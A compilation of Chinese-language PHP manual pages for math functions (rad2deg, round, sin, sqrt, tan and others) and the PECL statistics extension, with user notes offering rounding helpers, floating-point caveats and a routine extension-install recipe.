gilthansREMOVEME at gmail dot com 15-Dec-2006 07:50
Note that pow(0, 0) equals to 1 although mathematically this is undefined.


将弧度数转换为相应的角度数

  • ? pow
  • round ?
  • PHP Manual
  • Math 函数
  • 将弧度数转换为相应的角度数

rad2deg

(PHP 4, PHP 5, PHP 7, PHP 8)

rad2deg — 将弧度数转换为相应的角度数

说明

rad2deg(float $num): float

本函数将 num 从弧度转换为角度。

参数

num

一个弧度值

返回值

num 相应的角度数

示例

Example #1 rad2deg() 示例

<?php

echo rad2deg(M_PI_4); // 45

?>

参见

  • deg2rad() - 将角度转换为弧度

User Contributed Notes

There are no user contributed notes for this page.


对浮点数进行四舍五入

  • ? rad2deg
  • sin ?
  • PHP Manual
  • Math 函数
  • 对浮点数进行四舍五入

round

(PHP 4, PHP 5, PHP 7, PHP 8)

round — 对浮点数进行四舍五入

说明

round(int|float $num, int $precision = 0, int $mode = PHP_ROUND_HALF_UP): float

返回将 num 根据指定精度 precision（十进制小数点后数字的数目）进行四舍五入的结果。precision 也可以是负数或零（默认值）。

参数

num

要处理的值。

precision

可选的十进制小数点后数字的数目。

如果 precision 是正数，则 num 会四舍五入到小数点后 precision 位有效数字。

如果 precision 是负数，则 num 四舍五入到小数点前 precision 位有效数字。即 pow(10, -$precision) 最接近的倍数，例如，precision 为 -1，num 可以四舍五入到十位，precision 为 -2，num 可以四舍五入到百位，等等。

mode

使用以下常量指定四舍五入发生的模式。

常量 | 说明
PHP_ROUND_HALF_UP | 当 num 恰好处于中间时，将其向远离零的方向舍入，使 1.5 变为 2，-1.5 变为 -2。
PHP_ROUND_HALF_DOWN | 当 num 恰好处于中间时，将其向靠近零的方向舍入，使 1.5 变为 1，-1.5 变为 -1。
PHP_ROUND_HALF_EVEN | 将 num 四舍五入到最接近的偶数值，1.5 和 2.5 都变为 2。
PHP_ROUND_HALF_ODD | 将 num 四舍五入到最接近的奇数值，1.5 变为 1，2.5 变为 3。

返回值

值是四舍五入到指定 precision 精度的 float。

更新日志

版本 | 说明
8.0.0 | num 不再接受支持数字转换的内部对象。

示例

Example #1 round() 示例

<?php
var_dump(round(3.4));
var_dump(round(3.5));
var_dump(round(3.6));
var_dump(round(3.6, 0));
var_dump(round(5.045, 2));
var_dump(round(5.055, 2));
var_dump(round(345, -2));
var_dump(round(345, -3));
var_dump(round(678, -2));
var_dump(round(678, -3));
?>

以上示例会输出：

float(3)
float(4)
float(4)
float(4)
float(5.05)
float(5.06)
float(300)
float(0)
float(700)
float(1000)

Example #2 precision 如何影响 float

<?php
$number = 135.79;

var_dump(round($number, 3));
var_dump(round($number, 2));
var_dump(round($number, 1));
var_dump(round($number, 0));
var_dump(round($number, -1));
var_dump(round($number, -2));
var_dump(round($number, -3));
?>

以上示例会输出：

float(135.79)
float(135.79)
float(135.8)
float(136)
float(140)
float(100)
float(0)

Example #3 mode 示例

<?php
echo 'Rounding modes with 9.5' . PHP_EOL;
var_dump(round(9.5, 0, PHP_ROUND_HALF_UP));
var_dump(round(9.5, 0, PHP_ROUND_HALF_DOWN));
var_dump(round(9.5, 0, PHP_ROUND_HALF_EVEN));
var_dump(round(9.5, 0, PHP_ROUND_HALF_ODD));

echo PHP_EOL;
echo 'Rounding modes with 8.5' . PHP_EOL;
var_dump(round(8.5, 0, PHP_ROUND_HALF_UP));
var_dump(round(8.5, 0, PHP_ROUND_HALF_DOWN));
var_dump(round(8.5, 0, PHP_ROUND_HALF_EVEN));
var_dump(round(8.5, 0, PHP_ROUND_HALF_ODD));
?>

以上示例会输出：

Rounding modes with 9.5
float(10)
float(9)
float(10)
float(9)

Rounding modes with 8.5
float(9)
float(8)
float(8)
float(9)

Example #4 带 precision 的 mode 示例

<?php
echo 'Using PHP_ROUND_HALF_UP with 1 decimal digit precision' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_UP));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_UP));

echo PHP_EOL;
echo 'Using PHP_ROUND_HALF_DOWN with 1 decimal digit precision' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_DOWN));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_DOWN));

echo PHP_EOL;
echo 'Using PHP_ROUND_HALF_EVEN with 1 decimal digit precision' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_EVEN));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_EVEN));

echo PHP_EOL;
echo 'Using PHP_ROUND_HALF_ODD with 1 decimal digit precision' . PHP_EOL;
var_dump(round( 1.55, 1, PHP_ROUND_HALF_ODD));
var_dump(round(-1.55, 1, PHP_ROUND_HALF_ODD));
?>

以上示例会输出：

Using PHP_ROUND_HALF_UP with 1 decimal digit precision
float(1.6)
float(-1.6)

Using PHP_ROUND_HALF_DOWN with 1 decimal digit precision
float(1.5)
float(-1.5)

Using PHP_ROUND_HALF_EVEN with 1 decimal digit precision
float(1.6)
float(-1.6)

Using PHP_ROUND_HALF_ODD with 1 decimal digit precision
float(1.5)
float(-1.5)

参见

  • ceil() - 进一法取整
  • floor() - 舍去法取整
  • number_format() - 以千位分隔符方式格式化一个数字

User Contributed Notes

Astro 27-Feb-2020 08:32
Okay, final version of my function:

function NumberPrecision($n, $precision=0, $is_round=true)
            {
            if ($is_round)
                {
                $r = 5 * pow(10, -($precision+1));
                $n += (($n < 0) ? -$r : $r);
                }

            $comma = '.';

            $r = 5 * pow(10, -($precision+2));
            $n += (($n > 0) ? -$r : $r);
            $n = number_format($n, $precision+1, $comma, '');

            $n .= $comma;
            list($n, $frac) = explode($comma, $n, 2);
            $n = rtrim(rtrim($n, $comma) . $comma . substr($frac, 0, $precision), $comma);
            return ($n);
            }

It can be useful in come cases when built-in function like round() or number_format() returns unexpected results. Works with positive and negative numbers, zero, numbers like 1/12, 0.3, numbers in scientific notation etc.
Hayley Watson 05-Sep-2019 12:17
It should just be noted that what is called "precision" on this page is more correctly called accuracy; precision is the total number of significant digits on both sides of the decimal point, while accuracy is the number of digits to the right of the point. It's a common confusion.
goreyshi at gmail dot com 10-Jul-2018 09:34
When you have a deal with money like dollars, you need to display it under this condition:
-format all number with two digit decimal for cents.
-divide 1000 by ,
-round half down for number with more than two decimal

I approach it using round function inside the number_format function:

number_format((float)round( 625.371 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 625.37
number_format((float)round( 625.379 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 625.38
number_format((float)round( 1211.20 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')  // 1,211.20
number_format((float)round( 625 ,2, PHP_ROUND_HALF_DOWN),2,'.',',')      // 625.00
Mojo urk 26-Jan-2018 07:28
Solving round_down() problem:
-----------------------------
Use of <?php floor(pow(10, $precision) * $value) / pow(10, $precision); ?> fails in some cases, e.g. round_down(2.05, 2) gives incorrect 2.04.
Here is a "string" solution (https://stackoverflow.com/a/26491492/1245149) of the problem (a negative precision is not covered):

<?php
function round_down($value, $precision) {
    $value = (float)$value;
    $precision = (int)$precision;
    if ($precision < 0) {
        $precision = 0;
    }
    $decPointPosition = strpos($value, '.');
    if ($decPointPosition === false) {
        return $value;
    }
    return (float)(substr($value, 0, $decPointPosition + $precision + 1));
}
?>

Solving round_up() problem:
---------------------------
Use of <?php ceil(pow(10, $precision) * $value) / pow(10, $precision);?> fails in some cases, e.g. round_up(2.22, 2) gives incorrect 2.23 (https://stackoverflow.com/a/8239620/1245149).
Adapting the above round_down() "string" solution I have got this result (a negative precision is not covered):

<?php
function round_up($value, $precision) {
    $value = (float)$value;
    $precision = (int)$precision;
    if ($precision < 0) {
        $precision = 0;
    }
    $decPointPosition = strpos($value, '.');
    if ($decPointPosition === false) {
        return $value;
    }
    $floorValue = (float)(substr($value, 0, $decPointPosition + $precision + 1));
    $followingDecimals = (int)substr($value, $decPointPosition + $precision + 1);
    if ($followingDecimals) {
        $ceilValue = $floorValue + pow(10, -$precision); // does this give always right result?
    }
    else {
        $ceilValue = $floorValue;
    }
    return $ceilValue;
}
?>

I don't know it is bulletproof, but at least it removes the above mentioned fail. I have done no binary-to-decimal-math-analysis but if `$floorValue + pow(10, 0 - $precision)` works
always as expected then it should be ok.
Anonymous 31-Aug-2017 02:23
This function has strange. behaviors:

<?php
echo round(0.045, 2);      // 0.05
echo round(0.45, 1);      // 0.5
echo round(1.045-1, 2);    // 0.04 !!!
echo round(1.45-1, 1);      // 0.5
armanhakimsagar at gmail dot com 06-Aug-2017 02:25
$a = .9;

    $b = .8;

    $d = .1;

    $e = .2;

    $x = $a-$b;

    $y = $e-$d;

    $f = round($x,2);

    echo $f;

    if($f==$y){

        echo "ok";
    }
depaula at unilogica dot com 13-Jan-2017 05:51
As PHP doesn't have a a native number truncate function, this is my solution - a function that can be usefull if you need truncate instead round a number.

<?php
/**
 * Truncate a float number, example: <code>truncate(-1.49999, 2); // returns -1.49
 * truncate(.49999, 3); // returns 0.499
 * </code>
 * @param float $val Float number to be truncate
 * @param int f Number of precision
 * @return float
 */
function truncate($val, $f="0")
{
    if(($p = strpos($val, '.')) !== false) {
        $val = floatval(substr($val, 0, $p + 1 + $f));
    }
    return $val;
}
?>

Originally posted in http://stackoverflow.com/a/12710283/1596489
greghenle at gmail dot com 28-Nov-2016 09:25
/**
 * Round to first significant digit
 * +N to +infinity
 * -N to -infinity
 *
 */
function round1stSignificant ( $N ) {
  if ( $N === 0 ) {
    return 0;
  }

  $x = floor ( log10 ( abs( $N ) ) );

  return ( $N > 0 )
    ? ceil( $N * pow ( 10, $x * -1 ) ) * pow( 10, $x )
    : floor( $N * pow ( 10, $x * -1 ) ) * pow( 10, $x );
}

echo round1stSignificant( 39144818 ) . PHP_EOL;
echo round1stSignificant( 124818 ) . PHP_EOL;
echo round1stSignificant( 0.07468 ) . PHP_EOL;
echo round1stSignificant( 0 ) . PHP_EOL;
echo round1stSignificant( -0.07468 ) . PHP_EOL;

/**
 * Output
 *
 * 40000000
 * 200000
 * 0.08
 * 0
 * -0.08
 *
 */
Anonymous 17-Nov-2016 11:33
Note that PHP 5.3 didn't just introduce $mode, it rewrote the rounding implementation completely to eliminate many kinds of rounding errors common to rounding floating point values.

That's why round() gives you the correct result even when floor/ceil don't.
For example,  floor(0.285 * 100 + 0.5) VS round(0.285*100 + 0.5). First one gives 28, second one gives 29.

More details here: https://wiki.php.net/rfc/rounding
jongbumi at gmail dot com 12-May-2016 06:25
PHP 5.3, 5.4, 5.5
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // double(123)
?>

PHP 5.6
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // float(0)
?>

PHP 7
<?php
$fInfinty = pow(1000, 1000); // float(INF)
$fResult = round(123.456, $fInfinty); // null
?>
php at persignum dot com 03-Aug-2015 07:30
Because this function is missing round up and round down constants and the top note doesn't really show you how to round up or down to the nearest number, here is an easy way to always round up or always round down to the nearest number.

int is the number you want to round

n is the nearest number you want rounded to.

Round up to the nearest number

function round_up($int, $n) {
    return ceil($int / $n) * $n;
}

And to round down to the nearest number

function round_down(int, $n) {
    return floor($int / $n) * $n;
}
slimusgm at gmail dot com 02-Sep-2014 03:34
If you have negative zero and you need return positive number simple add +0:

$number = -2.38419e-07;
var_dump(round($number,1));//float(-0)
var_dump(round($number,1) + 0);//float(0)
serg at kalachev dot ru 24-Aug-2014 06:31
Excel-like ROUNDUP function:

public static function round_up($value, $places)
{
    $mult = pow(10, abs($places));
     return $places < 0 ?
    ceil($value / $mult) * $mult :
        ceil($value * $mult) / $mult;
}

echo round_up(12345.23, 1); // 12345.3
echo round_up(12345.23, 0); // 12346
echo round_up(12345.23, -1); // 12350
echo round_up(12345.23, -2); // 12400
echo round_up(12345.23, -3); // 13000
echo round_up(12345.23, -4); // 20000
esion99 at gmail dot com 01-Jul-2014 10:49
Unexpected result or misunderstanding (php v5.5.9)

<?php

echo round(1.55, 1, PHP_ROUND_HALF_DOWN); // 1.5
echo round(1.551, 1, PHP_ROUND_HALF_DOWN); //1.6

?>
spectrumcat at gmail dot com 19-Mar-2014 02:22
In case someone will need a "graceful" rounding (that changes it's precision to get a non 0 value) here's a simple function:

function gracefulRound($val, $min = 2, $max = 4) {
    $result = round($val, $min);
    if ($result == 0 && $min < $max) {
        return gracefulRound($val, ++$min, $max);
    } else {
        return $result;
    }
}

Usage:
$_ = array(0.5, 0.023, 0.008, 0.0007, 0.000079, 0.0000048);
foreach ($_ as $val) {
    echo "{$val}: ".gracefulRound($val)."\n";
}

Output:
0.5: 0.5
0.023: 0.02
0.008: 0.01
0.0007: 0.001
0.000079: 0.0001
0.0000048: 0
takingsides at gmail dot com 07-Mar-2014 03:00
In my opinion this function lacks two flags:

- PHP_ROUND_UP - Always round up.
- PHP_ROUND_DOWN - Always round down.

In accounting, it's often necessary to always round up, or down to a precision of thousandths.

<?php
function round_up($number, $precision = 2)
{
    $fig = (int) str_pad('1', $precision, '0');
    return (ceil($number * $fig) / $fig);
}

function round_down($number, $precision = 2)
{
    $fig = (int) str_pad('1', $precision, '0');
    return (floor($number * $fig) / $fig);
}
?>
djcox99 at googlemail dot com 13-Jan-2014 11:28
I discovered that under some conditions you can get rounding errors with round when converting the number to a string afterwards.

To fix this I swapped round() for number_format().

Unfortunately i cant give an example (because the number cant be represented as a string !)

essentially I had round(0.688888889,2);

which would stay as 0.68888889 when printed as a string.

But using number_format it correctly became 0.69.
craft at ckdevelop dot org 17-Dec-2013 01:34
function mround($val, $f=2, $d=6){
    return sprintf("%".$d.".".$f."f", $val);
}

echo mround(34.89999);  //34.90
dastra 12-Jul-2012 11:16
round() will sometimes return E notation when rounding a float when the amount is small enough - see  https://bugs.php.net/bug.php?id=44223 .  Apparently it's a feature.

To work around this "feature" when converting to a string, surround your round statement with an sprintf:

sprintf("%.10f", round( $amountToBeRounded, 10));
christian at deligant dot net 15-Sep-2011 01:24
this function (as all mathematical operators) takes care of the setlocale setting, resulting in some weirdness when using the result where the english math notation is expected, as the printout of the result in a width: style attribute!

<?php
$a=3/4;
echo round($a, 2); // 0.75

setlocale(LC_ALL, 'it_IT@euro', 'it_IT', 'it');
$b=3/4;
echo round($b,2); // 0,75
?>
omnibus at omnibus dot edu dot pl 19-Nov-2010 02:26
Beware strange behaviour if number is negative and precision is bigger than the actual number of digits after comma.

round(-0.07, 4);

returns

-0.07000000000000001

So if you validate it against a regular expression requiring the maximum amount of digits after comma, you'll get into trouble.
Anonymous 07-Oct-2010 04:07
Here is function that rounds to a specified increment, but always up. I had to use it for price adjustment that always went up to $5 increments.

<?php
function roundUpTo($number, $increments) {
    $increments = 1 / $increments;
    return (ceil($number * $increments) / $increments);
}
?>
feha at vision dot to 27-Aug-2010 07:59
Here is a short neat function to round minutes (hour) ...

<?php

function minutes_round ($hour = '14:03:32', $minutes = '5', $format = "H:i")
{
    // by Femi Hasani [www.vision.to]
    $seconds = strtotime($hour);
    $rounded = round($seconds / ($minutes * 60)) * ($minutes * 60);
    return date($format, $rounded);
}

?>

You decide to round to nearest minute ...
example will produce : 14:05
lossantis at ig dot com dot br 15-Jul-2010 07:02
Since the mode parameter for options like PHP_ROUND_HALF_UP is available as of PHP 5.3, here is an alternative for ceiling:

<?php echo 252 / 40; // 6.3 ?>

If I round this:

<?php echo round(252 / 40); // 6 ?>

You can also use a ceil (which might be useful for pagination):

<?php echo ceil(252/40); // 7 ?>

[Edited by: googleguy@php.net for clarity]
Anonymous 02-Nov-2009 08:52
This functions return ceil($nb) if the double or float value is bigger than "$nb.5" else it's return floor($nb)

<?php
    function arounds_int($nb) {

        if(!is_numeric($nb)) {
            return false;
        }

        $sup = round($nb);
        $inf = floor($nb);
        $try = (double) $inf . '.5' ;

        if($nb > $try) {
            return $sup;
        }

        return $inf;
    }
?>
michaeldnelson dot mdn at gmail dot com 25-Sep-2009 06:42
This function will let you round to an arbitrary non-zero number.  Zero of course causes a division by zero.

<?php
function roundTo($number, $to){
    return round($number/$to, 0)* $to;
}

echo roundTo(87.23, 20); //80
echo roundTo(-87.23, 20); //-80
echo roundTo(87.23, .25); //87.25
echo roundTo(.23, .25); //.25
?>
Bevan 17-Sep-2009 12:24
Formats a number to the specified number of significant figures.

<?php
/**
 * Formats numbers to the specified number of significant figures.
 *
 * @author Bevan Rudge, Drupal.geek.nz
 *
 * @param number $number
 *   The number to format.
 * @param integer $sf
 *   The number of significant figures to round and format the number to.
 * @return string
 *   The rounded and formatted number.
 */
function format_number_significant_figures($number, $sf) {
  // How many decimal places do we round and format to?
  // @note May be negative.
  $dp = floor($sf - log10(abs($number)));
  // Round as a regular number.
  $number = round($number, $dp);
  // Leave the formatting to format_number(), but always format 0 to 0dp.
  return number_format($number, 0 == $number ? 0 : $dp);
}
?>
martinr at maarja dot net 12-Jan-2008 03:40
Please note that the format of this functions output also depends on your locale settings. For example, if you have set your locale to some country that uses commas to separate decimal places, the output of this function also uses commas instead of dots.

This might be a problem when you are feeding the rounded float number into a database, which requires you to separate decimal places with dots.

See it in action:
<?php
    echo round('3.5558', 2);
    setlocale(constant('LC_ALL'), 'et_EE.UTF-8');
    echo '<br />'. round('3.5558', 2);
?>

The output will be:
3.56
3,56
maxteiber at gmail dot com 16-Oct-2006 05:15
the result of this function always depends on the underlying C function. There have been a lot of compiler bugs and floating-point precission problems involving this function. Right now the following code:

<?php
echo round(141.075, 2);
?>

returns:

141.07

on my machine.
So never really trust this function when you do critical calculations like accounting stuff!
Instead: use only integers or use string comparisons.
terry at scribendi dot com 12-Jan-2004 11:45
To round any number to a given number of significant digits, use log10 to find out its magnitude:

<?php round($n, ceil(0 - log10($n)) + $sigdigits); ?>

Or when you have to display a per-unit price which may work out to be less than a few cents/pence/yen you can use:

<?php
// $exp = currency decimal places - 0 for Yen/Won, 2 for most others
$dp = ceil(0 - log10($n)) + $sigdigits;
$display = number_format($amount, ($exp>$dp)?$exp:$dp);
?>

This always displays at least the number of decimal places required by the currency, but more if displaying the unit price with precision requires it - eg: 'English proofreading from $0.0068 per word', 'English beer from $6.80 per pint'.
php at silisoftware dot com 14-Aug-2002 02:15
Here's a function to round to an arbitary number of significant digits. Don't confuse it with rounding to a negative precision - that counts back from the decimal point, this function counts forward from the Most Significant Digit.

ex:

<?php
round(1241757, -3); // 1242000
RoundSigDigs(1241757, 3); // 1240000
?>

Works on negative numbers too. $sigdigs should be >= 0

<?php
function RoundSigDigs($number, $sigdigs) {
    $multiplier = 1;
    while ($number < 0.1) {
        $number *= 10;
        $multiplier /= 10;
    }
    while ($number >= 1) {
        $number /= 10;
        $multiplier *= 10;
    }
    return round($number, $sigdigs) * $multiplier;
}
?>
twan at ecreation dot nl 15-May-2000 06:51
If you'd only want to round for displaying variables (not for calculating on the rounded result) then you should use printf with the float:

<?php printf ("%6.2f",3.39532); ?>

This returns: 3.40 .


正弦

  • ? round
  • sinh ?
  • PHP Manual
  • Math 函数
  • 正弦

sin

(PHP 4, PHP 5, PHP 7, PHP 8)

sin — 正弦

说明

sin(float $num): float

sin() 返回参数 num 的正弦值。参数 num 的单位为弧度。

参数

num

单位是弧度的值。

返回值

num 的正弦值

示例

Example #1 sin() 示例

<?php

// 返回值的精度由配置中的 precision 指示确定
echo sin(deg2rad(60)); // 0.866025403 ...
echo sin(60); // -0.304810621 ...

?>

参见

  • asin() - 反正弦
  • sinh() - 双曲正弦
  • cos() - 余弦
  • tan() - 正切
  • deg2rad() - 将角度转换为弧度

User Contributed Notes

There are no user contributed notes for this page.


双曲正弦

  • ? sin
  • sqrt ?
  • PHP Manual
  • Math 函数
  • 双曲正弦

sinh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

sinh — 双曲正弦

说明

sinh(float $num): float

返回 num 的双曲正弦值，定义为 (exp($num) - exp(-$num))/2。

参数

num

要处理的参数

返回值

num 的双曲正弦值

参见

  • sin() - 正弦
  • asinh() - 反双曲正弦
  • cosh() - 双曲余弦
  • tanh() - 双曲正切

User Contributed Notes

There are no user contributed notes for this page.


平方根

  • ? sinh
  • tan ?
  • PHP Manual
  • Math 函数
  • 平方根

sqrt

(PHP 4, PHP 5, PHP 7, PHP 8)

sqrt — 平方根

说明

sqrt(float $num): float

返回 num 的平方根。

参数

num

要处理的参数

返回值

返回 num 的平方根，负数时返回 NAN。

示例

Example #1 sqrt() 示例

<?php
// 精度取决于精度指令
echo sqrt(9); // 3
echo sqrt(10); // 3.16227766 ...
?>

参见

  • pow() - 指数表达式
  • M_SQRTPI——sqrt(pi)
  • M_2_SQRTPI——2/sqrt(pi)
  • M_SQRT2——sqrt(2)
  • M_SQRT3——sqrt(3)
  • M_SQRT1_2——1/sqrt(2)

User Contributed Notes

There are no user contributed notes for this page.


正切

  • ? sqrt
  • tanh ?
  • PHP Manual
  • Math 函数
  • 正切

tan

(PHP 4, PHP 5, PHP 7, PHP 8)

tan — 正切

说明

tan(float $num): float

tan() 返回参数 num 的正切值。参数 num 的单位为弧度。

参数

num

要处理的以弧度为单位的参数

返回值

num 的正切值

示例

Example #1 tan() 示例

<?php

echo tan(M_PI_4); // 1

?>

参见

  • atan() - 反正切
  • atan2() - 两个参数的反正切
  • sin() - 正弦
  • cos() - 余弦
  • tanh() - 双曲正切
  • deg2rad() - 将角度转换为弧度

User Contributed Notes

There are no user contributed notes for this page.


双曲正切

  • ? tan
  • Statistics ?
  • PHP Manual
  • Math 函数
  • 双曲正切

tanh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

tanh — 双曲正切

说明

tanh(float $num): float

返回 num 的双曲正切值，定义为 sinh($num)/cosh($num)。

参数

num

要处理的参数

返回值

num 的双曲正切值

参见

  • tan() - 正切
  • atanh() - 反双曲正切
  • sinh() - 双曲正弦
  • cosh() - 双曲余弦

User Contributed Notes

There are no user contributed notes for this page.


Statistics

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Statistic 函数
    • stats_absolute_deviation — Returns the absolute deviation of an array of values
    • stats_cdf_beta — Calculates any one parameter of the beta distribution given values for the others
    • stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others
    • stats_cdf_cauchy — Calculates any one parameter of the Cauchy distribution given values for the others
    • stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others
    • stats_cdf_exponential — Calculates any one parameter of the exponential distribution given values for the others
    • stats_cdf_f — Calculates any one parameter of the F distribution given values for the others
    • stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others
    • stats_cdf_laplace — Calculates any one parameter of the Laplace distribution given values for the others
    • stats_cdf_logistic — Calculates any one parameter of the logistic distribution given values for the others
    • stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others
    • stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others
    • stats_cdf_noncentral_f — Calculates any one parameter of the non-central F distribution given values for the others
    • stats_cdf_noncentral_t — Calculates any one parameter of the non-central t-distribution give values for the others
    • stats_cdf_normal — Calculates any one parameter of the normal distribution given values for the others
    • stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others
    • stats_cdf_t — Calculates any one parameter of the t-distribution given values for the others
    • stats_cdf_uniform — Calculates any one parameter of the uniform distribution given values for the others
    • stats_cdf_weibull — Calculates any one parameter of the Weibull distribution given values for the others
    • stats_covariance — Computes the covariance of two data sets
    • stats_dens_beta — Probability density function of the beta distribution
    • stats_dens_cauchy — Probability density function of the Cauchy distribution
    • stats_dens_chisquare — Probability density function of the chi-square distribution
    • stats_dens_exponential — Probability density function of the exponential distribution
    • stats_dens_f — Probability density function of the F distribution
    • stats_dens_gamma — Probability density function of the gamma distribution
    • stats_dens_laplace — Probability density function of the Laplace distribution
    • stats_dens_logistic — Probability density function of the logistic distribution
    • stats_dens_normal — Probability density function of the normal distribution
    • stats_dens_pmf_binomial — Probability mass function of the binomial distribution
    • stats_dens_pmf_hypergeometric — Probability mass function of the hypergeometric distribution
    • stats_dens_pmf_negative_binomial — Probability mass function of the negative binomial distribution
    • stats_dens_pmf_poisson — Probability mass function of the Poisson distribution
    • stats_dens_t — Probability density function of the t-distribution
    • stats_dens_uniform — Probability density function of the uniform distribution
    • stats_dens_weibull — Probability density function of the Weibull distribution
    • stats_harmonic_mean — Returns the harmonic mean of an array of values
    • stats_kurtosis — Computes the kurtosis of the data in the array
    • stats_rand_gen_beta — Generates a random deviate from the beta distribution
    • stats_rand_gen_chisquare — Generates a random deviate from the chi-square distribution
    • stats_rand_gen_exponential — Generates a random deviate from the exponential distribution
    • stats_rand_gen_f — Generates a random deviate from the F distribution
    • stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)
    • stats_rand_gen_gamma — Generates a random deviate from the gamma distribution
    • stats_rand_gen_ibinomial_negative — Generates a random deviate from the negative binomial distribution
    • stats_rand_gen_ibinomial — Generates a random deviate from the binomial distribution
    • stats_rand_gen_int — Generates random integer between 1 and 2147483562
    • stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution
    • stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)
    • stats_rand_gen_noncentral_chisquare — Generates a random deviate from the non-central chi-square distribution
    • stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F distribution
    • stats_rand_gen_noncentral_t — Generates a single random deviate from a non-central t-distribution
    • stats_rand_gen_normal — Generates a single random deviate from a normal distribution
    • stats_rand_gen_t — Generates a single random deviate from a t-distribution
    • stats_rand_get_seeds — Get the seed values of the random number generator
    • stats_rand_phrase_to_seeds — Generate two seeds for the RGN random number generator
    • stats_rand_ranf — Generates a random floating point number between 0 and 1
    • stats_rand_setall — Set seed values to the random generator
    • stats_skew — Computes the skewness of the data in the array
    • stats_standard_deviation — Returns the standard deviation
    • stats_stat_binomial_coef — Returns a binomial coefficient
    • stats_stat_correlation — Returns the Pearson correlation coefficient of two data sets
    • stats_stat_factorial — Returns the factorial of an integer
    • stats_stat_independent_t — Returns the t-value from the independent two-sample t-test
    • stats_stat_innerproduct — Returns the inner product of two vectors
    • stats_stat_paired_t — Returns the t-value of the dependent t-test for paired samples
    • stats_stat_percentile — Returns the percentile value
    • stats_stat_powersum — Returns the power sum of a vector
    • stats_variance — Returns the variance

User Contributed Notes

There are no user contributed notes for this page.


简介

This is the statistics extension. It contains few dozens of functions useful for statistical computations. It is a wrapper around 2 scientific libraries, namely DCDFLIB (Library of C routines for Cumulative Distributions Functions, Inverses, and Other parameters) by B. Brown & J. Lavato and RANDLIB by Barry Brown, James Lavato & Kathy Russell. Includes CD and PD functions.

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

crashulater at virtualcrash dot com 14-May-2018 09:12
example INSTALL
$ zcat php-stats-1.0.5.tar.gz | tar -xvf -
$ cd stats-1.0.5
$ phpize
$ ./configure --prefix=/usr --with-libdir=/usr/lib64 --with-php-config=/usr/bin/php-config
$ make
$ make test
# make install
# vi /etc/php.d/stats.ini
; Enable Statistical extension module
extension=stats.so
# /etc/init.d/httpd restart


需求

No external libraries are needed. The extension comes bundled with the libraries used.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/stats.

此扩展在 Windows 平台的二进制扩展 (DLL 文件) PECL 可以在 PECL 官方网站上下载。

User Contributed Notes

There are no user contributed notes for this page.


Statistic 函数

Table of Contents

  • stats_absolute_deviation — Returns the absolute deviation of an array of values
  • stats_cdf_beta — Calculates any one parameter of the beta distribution given values for the others
  • stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others
  • stats_cdf_cauchy — Calculates any one parameter of the Cauchy distribution given values for the others
  • stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others
  • stats_cdf_exponential — Calculates any one parameter of the exponential distribution given values for the others
  • stats_cdf_f — Calculates any one parameter of the F distribution given values for the others
  • stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others
  • stats_cdf_laplace — Calculates any one parameter of the Laplace distribution given values for the others
  • stats_cdf_logistic — Calculates any one parameter of the logistic distribution given values for the others
  • stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others
  • stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others
  • stats_cdf_noncentral_f — Calculates any one parameter of the non-central F distribution given values for the others
  • stats_cdf_noncentral_t — Calculates any one parameter of the non-central t-distribution give values for the others
  • stats_cdf_normal — Calculates any one parameter of the normal distribution given values for the others
  • stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others
  • stats_cdf_t — Calculates any one parameter of the t-distribution given values for the others
  • stats_cdf_uniform — Calculates any one parameter of the uniform distribution given values for the others
  • stats_cdf_weibull — Calculates any one parameter of the Weibull distribution given values for the others
  • stats_covariance — Computes the covariance of two data sets
  • stats_dens_beta — Probability density function of the beta distribution
  • stats_dens_cauchy — Probability density function of the Cauchy distribution
  • stats_dens_chisquare — Probability density function of the chi-square distribution
  • stats_dens_exponential — Probability density function of the exponential distribution
  • stats_dens_f — Probability density function of the F distribution
  • stats_dens_gamma — Probability density function of the gamma distribution
  • stats_dens_laplace — Probability density function of the Laplace distribution
  • stats_dens_logistic — Probability density function of the logistic distribution
  • stats_dens_normal — Probability density function of the normal distribution
  • stats_dens_pmf_binomial — Probability mass function of the binomial distribution
  • stats_dens_pmf_hypergeometric — Probability mass function of the hypergeometric distribution
  • stats_dens_pmf_negative_binomial — Probability mass function of the negative binomial distribution
